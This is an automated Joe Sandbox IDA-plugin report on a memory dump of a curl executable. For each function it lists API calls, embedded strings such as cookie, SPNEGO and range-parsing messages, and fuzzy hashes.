Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID:
String ID: %%25%s]$%25$%s://%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s$file$file://%s%s%s$https
API String ID: 0-326007067
Opcode ID: 35a55b398273405438158eb239708d370f0080776a08e226f34f108d9512cc89
Instruction ID: 29118ec1615449b926d44cb88cd286e252799074544ed85e2178caa3fbad0f80
Opcode Fuzzy Hash: 35a55b398273405438158eb239708d370f0080776a08e226f34f108d9512cc89
Instruction Fuzzy Hash: 71028E31A00A1ADBDB15CF68C854BAABBB1FF49714F14C069E909E7385E771DC64CBA0

Function 008AA0B9 Relevance: 15.3, APIs: 4, Strings: 6, Instructions: 299COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008AA1B4

Part of subcall function 008AA4C9: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00889633,00000000), ref: 008AA4FB
Part of subcall function 008AA4C9: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00889633,00000000), ref: 008AA52C
Part of subcall function 008AA4C9: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00889633,00000000), ref: 008AA54E
Part of subcall function 008AA4C9: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008AA565

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008AA211
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008AA267
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008AA426

Strings

InitializeSecurityContext failed: %s, xrefs: 008AA440
SPNEGO handshake failure (empty challenge message), xrefs: 008AA2D3
CompleteAuthToken failed: %s, xrefs: 008AA488
Negotiate, xrefs: 008AA155, 008AA232
SSPI: couldn't get auth info, xrefs: 008AA16E
HTTP, xrefs: 008AA0D1

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$calloc$malloc
String ID: CompleteAuthToken failed: %s$HTTP$InitializeSecurityContext failed: %s$Negotiate$SPNEGO handshake failure (empty challenge message)$SSPI: couldn't get auth info
API String ID: 3103867982-170984166
Opcode ID: fd3f7e71038d936dda3b5917ab87e229b297f5d5142a1865c17d6222226da24f
Instruction ID: 48f3f429ee45b8961559754d4013b2e94eae5cde05c69e28c30d3bdcce5b07ce
Opcode Fuzzy Hash: fd3f7e71038d936dda3b5917ab87e229b297f5d5142a1865c17d6222226da24f
Instruction Fuzzy Hash: 88C11B71A01629AFEB24CF14DC54BD9B7B5FF49310F0081AAE909E7A50DB71AE94CF81

Function 0087BF00 Relevance: 15.3, APIs: 4, Strings: 6, Instructions: 255COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0087C0A8
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0087C0C1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0087C19D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0087C1B7

Part of subcall function 0087F65C: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,754C3C50,00000000,0088182F), ref: 0087F671
Part of subcall function 0087F65C: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0087F685
Part of subcall function 0087F65C: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0087F699
Part of subcall function 0087F65C: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0087F6AD
Part of subcall function 0087F65C: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0087F6C1
Part of subcall function 0087F65C: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0087F6D5
Part of subcall function 0087F65C: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0087F6E9
Part of subcall function 0087F65C: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0087F6FD
Part of subcall function 0087F65C: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0087F70F

Part of subcall function 00880830: calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0088086B

Strings

RELOAD, xrefs: 0087C01D
SESS, xrefs: 0087BF72
FLUSH, xrefs: 0087BFFF
ALL, xrefs: 0087BF0D
Set-Cookie:, xrefs: 0087C14B
ignoring failed cookie_init for %s, xrefs: 0087C06A

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$calloc
String ID: ALL$FLUSH$RELOAD$SESS$Set-Cookie:$ignoring failed cookie_init for %s
API String ID: 3095843317-3179978524
Opcode ID: ec9ae2faa98e4fca49680b996d5bd255cd919d52fb75e13814bac1f84fdcdf6d
Instruction ID: 6348bc9ff6e0b67e961f669e3641236a5375f1f2ec3a9d86578a77bb664b8bb0
Opcode Fuzzy Hash: ec9ae2faa98e4fca49680b996d5bd255cd919d52fb75e13814bac1f84fdcdf6d
Instruction Fuzzy Hash: C18180717046118BDB189F289891B2E73A6FB85B10F24C47DE84DDB29ADF74DC418B91

Function 0088443D Relevance: 15.2, APIs: 10, Instructions: 236COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 00884488
___from_strstr_to_strchr.LIBCMT ref: 008844AE
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,0087A931,?,?,00000000,00000030,?,?,?,?,?,?,?,?,?,00000000), ref: 00884544
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,0087A931,?,?,00000000,00000030,?,?,?,?,?,?,?,?,?,00000000), ref: 0088456A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,0087A931,?,?,00000000,00000030,?,?,?,?,?,?,?,?,?,00000000), ref: 00884590
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,00000000), ref: 008845AC
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000000), ref: 008845C1

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: malloc$___from_strstr_to_strchrfree
String ID:
API String ID: 402731313-0
Opcode ID: fb2fb11b0c31255ca03f7e396e3a9ba2c270cc546313e0c2b5431e14a871b006
Instruction ID: 4bff052e68b06ea9fe823a57fc28fa9e43a4961691d09ce5b67020e73a501697
Opcode Fuzzy Hash: fb2fb11b0c31255ca03f7e396e3a9ba2c270cc546313e0c2b5431e14a871b006
Instruction Fuzzy Hash: C4815B76E0062ADFDF14EFA8D8449AEBBB5FF49750B14816AE805E7351DB30AD008B94

Function 008638AE Relevance: 15.2, APIs: 10, Instructions: 172COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 008638EC
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 008638F4
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 00863902

Part of subcall function 00861018: _fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00008000,00863910), ref: 0086101E
Part of subcall function 00861018: _setmode.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00008000,00863910), ref: 00861025

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 00863911
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 00863919
_fstat64.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(00000000,?), ref: 0086393E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 0086398D
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(008B74AB), ref: 008639B7
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 008639FD
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00863A3D

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: __acrt_iob_func$_fileno_strdup$_fstat64_setmodefreeftell
String ID:
API String ID: 4154865980-0
Opcode ID: 8aac6ff95d8049af9b69149912533d954e77d9ee3a4e41cba8941618c14b6c4d
Instruction ID: 71b1817cc58800017fcbff30660c501a8c14e1808cd2bba6498ef0e52bc6e075
Opcode Fuzzy Hash: 8aac6ff95d8049af9b69149912533d954e77d9ee3a4e41cba8941618c14b6c4d
Instruction Fuzzy Hash: E0515C72D00B198BDB20DFA8C8857ADBBF5FF49721F25451AE445EB341DBB4AA418F40

Function 008749D3 Relevance: 15.1, APIs: 12, Instructions: 78COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00875D8C,754C3C50,008816C0), ref: 008749E7
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008749FB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00874A0F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00874A23
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00874A37
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00874A4B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00874A5F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00874A73
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00874A87
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00874A9B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00874AAF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00874AC3

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 3bae10d6b0a8a80a4fb53c7b477cc5aa5e3ba79f8344c1acd370266afe07fd52
Instruction ID: 2842f32afca691de245aa34d101d6415bff5079df011928dadfd45559e539c59
Opcode Fuzzy Hash: 3bae10d6b0a8a80a4fb53c7b477cc5aa5e3ba79f8344c1acd370266afe07fd52
Instruction Fuzzy Hash: 1D219436604929DB9B091F24FC0885CBFB6FF4D661329816AE90193772DFB62C118FD4

Function 008A0710 Relevance: 14.4, APIs: 3, Strings: 5, Instructions: 375COMMON

Download Yara Rule

APIs

_fstat64.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(?,?), ref: 008A078E

Part of subcall function 008A04E4: ___from_strstr_to_strchr.LIBCMT ref: 008A0503

Strings

failed to resume file:// transfer, xrefs: 008A0A3D
Accept-ranges: bytes, xrefs: 008A0820
Can't get the size of file., xrefs: 008A09AF
Content-Length: %I64d, xrefs: 008A0851
Last-Modified: %s, %02d %s %4d %02d:%02d:%02d GMT%s, xrefs: 008A0935

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: ___from_strstr_to_strchr_fstat64
String ID: Accept-ranges: bytes$Can't get the size of file.$Content-Length: %I64d$Last-Modified: %s, %02d %s %4d %02d:%02d:%02d GMT%s$failed to resume file:// transfer
API String ID: 1237401293-1509146019
Opcode ID: 9971c0aee4a3c2d5eeabeac34fcc01fd654a873e067c61af159e023964b975c6
Instruction ID: 2f0b6663634b8e00ff9567c243ff243c807d6b2b7b0803ef4e07db350e55b96d
Opcode Fuzzy Hash: 9971c0aee4a3c2d5eeabeac34fcc01fd654a873e067c61af159e023964b975c6
Instruction Fuzzy Hash: 3ED1A2716083419FFB24DE288851B6B77E5FF86314F18457DE889CB682EA70EC448F62

Function 00884AF4 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 169stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(%25,00000001,00000003), ref: 00884B8D
___from_strstr_to_strchr.LIBCMT ref: 00884C01
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0(00000001,?,0000000A), ref: 00884C1F

Strings

Please URL encode %% as %%25, see RFC 6874., xrefs: 00884B9A
Invalid IPv6 address format, xrefs: 00884BEF
No valid port number in connect to host string (%s), xrefs: 00884C3E
%25, xrefs: 00884B88

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: ___from_strstr_to_strchrstrncmpstrtol
String ID: %25$Invalid IPv6 address format$No valid port number in connect to host string (%s)$Please URL encode %% as %%25, see RFC 6874.
API String ID: 236576716-4202423297
Opcode ID: d20e39f421a7c404aa043c8a70d9b3059755b65e997ed0e57d5b7bcf202ee6ed
Instruction ID: a8a0e34fc81324392c46a04cc7ab28a4d7dd825fc8f3da293a5dbd4624a853eb
Opcode Fuzzy Hash: d20e39f421a7c404aa043c8a70d9b3059755b65e997ed0e57d5b7bcf202ee6ed
Instruction Fuzzy Hash: F251AB3690520BAFDB20AFA8D8417BD7BAAFF16324F24106AE880D7392D731CC44CB40

Function 00880830 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 141fileCOMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0088086B
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 008808DD
fopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,008B7A20), ref: 008808F7
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00001000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0088093F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0088096E
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 00880992
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00001000,?,?,?,?,?,?,?,?,?,?,00000000,?,?,0088126F), ref: 00880A02
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 00880A14

Strings

Set-Cookie:, xrefs: 008809A0

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: fclosefree$__acrt_iob_funccallocfopenmalloc
String ID: Set-Cookie:
API String ID: 3610089413-2427311273
Opcode ID: 4f804f26e1e8730fb38748b0e6c7506fb9c35ae905f04ebda8a45412604d36bf
Instruction ID: ca087ca6c11853c26f613508344472212978b2d28e0e016d03817680a020c665
Opcode Fuzzy Hash: 4f804f26e1e8730fb38748b0e6c7506fb9c35ae905f04ebda8a45412604d36bf
Instruction Fuzzy Hash: 474134317087119BEB656B289C4076E7BD5FB49B10F18402EF949D73C3CAB08D498BD2

Function 00861411 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 135COMMON

Download Yara Rule

APIs

fputs.API-MS-WIN-CRT-STDIO-L1-1-0( ,?,?,?,?,?,?,?,?,?), ref: 008614A3
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?,?,?,?,?,?,?,?,?), ref: 00861536
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?), ref: 0086154F

Strings

<= Recv header, xrefs: 00861430
, xrefs: 0086149E
%02x , xrefs: 00861489
%04zx: , xrefs: 00861464
%s%s, %zu bytes (0x%zx), xrefs: 00861432

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: fflushfputcfputs
String ID: $%02x $%04zx: $%s%s, %zu bytes (0x%zx)$<= Recv header
API String ID: 2904194729-208095841
Opcode ID: 9020ef3032f0c9a52d78ef52661e403afe94cff11fba520beb38b8539e0f5620
Instruction ID: 6aa95216a467409af76b90790f5415f0ef6a6ba28f307ae62afb3daecf2757a8
Opcode Fuzzy Hash: 9020ef3032f0c9a52d78ef52661e403afe94cff11fba520beb38b8539e0f5620
Instruction Fuzzy Hash: FA41E272A00258AFDF11CF18DC8AAADBBB2FF44314F194055FC1AE7242C671AE51CB94

Function 0086E2DD Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 125COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0086E314
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0086E346
__aulldiv.LIBCMT ref: 0086E39A
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0086E3CF

Strings

%3I64dd %02I64dh, xrefs: 0086E3DA
--:--:--, xrefs: 0086E2FD
%2I64d:%02I64d:%02I64d, xrefs: 0086E37E
%7I64dd, xrefs: 0086E3F0

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: Unothrow_t@std@@@__aulldiv__ehfuncinfo$??2@
String ID: %2I64d:%02I64d:%02I64d$%3I64dd %02I64dh$%7I64dd$--:--:--
API String ID: 1185945948-1858174321
Opcode ID: 5c8dcb0df85e4d44c97f0f89f4e012b6b50564188bbd79bcef09663e11fc7902
Instruction ID: 6df5f0e01d8e738171c63881c0d77f0db517729a14c6aec5450e9c911dc49781
Opcode Fuzzy Hash: 5c8dcb0df85e4d44c97f0f89f4e012b6b50564188bbd79bcef09663e11fc7902
Instruction Fuzzy Hash: AE31F775B00608BAEB25A67D8C47FAF797DFBC1B50F158024B904FB382E5B09E008665

Function 00867BEB Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 00867BFD

Part of subcall function 008709FA: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?), ref: 00870A07

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00867C56
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00867CB1
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 00867CC1

Strings

A specified range MUST include at least one dash (-). Appending one for you!, xrefs: 00867C26
%I64d-, xrefs: 00867C40
unsupported range point, xrefs: 00868216
Invalid character is found in given range. A specified range MUST have only digits in 'start'-'stop'. The server's response to this request is uncertain., xrefs: 00867C99

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$___from_strstr_to_strchr_errno_strdup
String ID: %I64d-$A specified range MUST include at least one dash (-). Appending one for you!$Invalid character is found in given range. A specified range MUST have only digits in 'start'-'stop'. The server's response to this request is uncertain.$unsupported range point
API String ID: 4096323884-1864133270
Opcode ID: eb099d56bd5af8c9f766054f6b1b2053df1fbdb188805766e2bca5716f9b3464
Instruction ID: 2e248b2af86debf606f28728c6ee1703dcb04469b865bc688eb82c2fd64512f5
Opcode Fuzzy Hash: eb099d56bd5af8c9f766054f6b1b2053df1fbdb188805766e2bca5716f9b3464
Instruction Fuzzy Hash: 7C21D87120C301DEE6249B349C86BBB7BD9FF85304F21090EF596DA3C2DE75E8449656

Function 00863B00 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 85stringCOMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 00863B75
fread.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,00000000), ref: 00863B83
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 00863B8C
ferror.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 00863B96
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00863BA6
strerror.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 00863BAE

Strings

0Lu@Ru@/Mu, xrefs: 00863BA6
stdin: %s, xrefs: 00863BB6

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: __acrt_iob_func$_errnoferrorfreadstrerror
String ID: 0Lu@Ru@/Mu$stdin: %s
API String ID: 2463866935-3793109247
Opcode ID: c2de943a2e8b74280a41a2f16196ec7d5de66de1614685adcdef9e91967669da
Instruction ID: a2eac7e41eae56ec3ee18503f61ac720258a444f9c12feee538989a38d42b3df
Opcode Fuzzy Hash: c2de943a2e8b74280a41a2f16196ec7d5de66de1614685adcdef9e91967669da
Instruction Fuzzy Hash: 1F21FE32500B459FCB208F29DC8596AB7F9FF49771796092EF946C2A12DB70FE008B15

Function 0087A1A0 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 0087A1AB
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0087A1B3

Part of subcall function 0087A01F: FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00001200,00000000,00000000,00000000,?,00000100,00000000,00000000,00000000), ref: 0087A058
Part of subcall function 0087A01F: wcstombs.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,?), ref: 0087A06F
Part of subcall function 0087A01F: ___from_strstr_to_strchr.LIBCMT ref: 0087A087

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0087A1E9
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0087A1F6
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 0087A1FE
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000), ref: 0087A209

Strings

Unknown error %u (0x%08X), xrefs: 0087A1D6
0Lu@Ru@/Mu, xrefs: 0087A1B3, 0087A1E9, 0087A1F6

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: ErrorLast_errno$FormatMessage___from_strstr_to_strchrwcstombs
String ID: 0Lu@Ru@/Mu$Unknown error %u (0x%08X)
API String ID: 1622130791-4003156066
Opcode ID: 0098d9f96c28f8d7525f233434112b20df6a00dafd8f35a845831c08e23ecb1d
Instruction ID: 86ebbf016e13764e06578e1eeba2028b3fb93d287198444c56c840ca5d4a0a9d
Opcode Fuzzy Hash: 0098d9f96c28f8d7525f233434112b20df6a00dafd8f35a845831c08e23ecb1d
Instruction Fuzzy Hash: 67F08C31200A01EFC3156BADDC49B5EBBE8FF9A751F548166F506D7361EAB1CC008A62

Function 00862A46 Relevance: 14.0, APIs: 1, Strings: 7, Instructions: 38COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,?,00862BF3), ref: 00862A4D

Strings

You don't have permission to create %s., xrefs: 00862A94
The directory name %s is too long., xrefs: 00862A7F
Cannot create directory %s because you exceeded your quota., xrefs: 00862A78
Error creating directory %s., xrefs: 00862A71
0Lu@Ru@/Mu, xrefs: 00862A4D
